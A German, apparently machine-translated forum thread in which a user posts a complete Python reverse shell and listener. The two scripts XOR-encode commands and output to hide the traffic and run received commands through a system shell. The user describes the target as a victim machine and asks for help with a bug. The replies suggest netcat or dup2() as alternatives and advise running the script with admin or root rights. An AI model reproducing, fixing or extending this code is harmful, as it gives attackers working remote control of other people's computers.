Ich habe folgende Hörer und die umgekehrte Schale in Python:Reverse-Shell Python mit
Zuhörer:
import socket
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip
while True:
command = raw_input('~$ ')
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^=0x41
client.send(encode)
en_data=client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^=0x41
print decode
client.close()
s.close()
Reverse-Shell:
import socket, subprocess, sys
RHOST = '127.0.0.1' #sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
#receive encoded data
en_comm = s.recv(1024)
#decoded the received command
de_comm = bytearray(en_comm)
for i in range(len(de_comm)):
de_comm[i] ^= 0x41
#execute the clear text comamnd after decode it
clrtxt_comm = subprocess.Popen(str(de_comm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, STDERR = clrtxt_comm.communicate()
#encode the command output and send it over ssl
en_output = bytearray(output)
for i in range(len(en_output)):
en_output[i] ^= 0x41
s.send(en_output)
s.close()
Nach dem Hörer starten und lösen die Rückwärts Shell, es läuft ok und öffnet Shell in der Opfer-Maschine, aber das große Ding ist, dass wenn Befehle wie "cd .." oder "mkdir foldername" (im Falle von Windows) in der gleichen Eingabe stecken und nicht weiterth gehen er.
Sehen oder erkennen Sie, was das Problem im Code ist?
Vielen Dank!
Zunächst einmal vielen Dank für die Antwort. Ich werde den Punkt, über den Sie gesprochen haben, ändern. Aber vorher, was ist Sandboxed alles über? Eine andere Frage, ich sah Menschen tat dies mit Netcat als Listener und mit dup2() als die umgekehrte Shell, und es funktioniert wirklich. Ist das besser oder was? Dank – user2315506
Sandboxing bedeutet, dass jeder Prozess einen virtuellen Speicher aus den Dateien hat, auf die er zugreifen darf. E.i. Lesen, Schreiben, Ausführen (und die Sys-Calls, die es verwenden kann, aber das ist für einen anderen Tag). Normalerweise kann ein Python-Prozess (und alle seine untergeordneten Prozesse) mit Privilegien ausgeführt werden, die nur den Zugriff auf Dateien in seinem Verzeichnis oder in einer größeren Sandbox erlauben (wie alle Dateien des Benutzers oder alle Dateien im System). Die Details des Sandboxing sind in jedem Betriebssystem sehr unterschiedlich. Für Anfänger, in Windows versuchen, die reverse_shell.py Skript von einem Admin-Kommandozeile aufrufen, in Linux versuchen, als root auszuführen –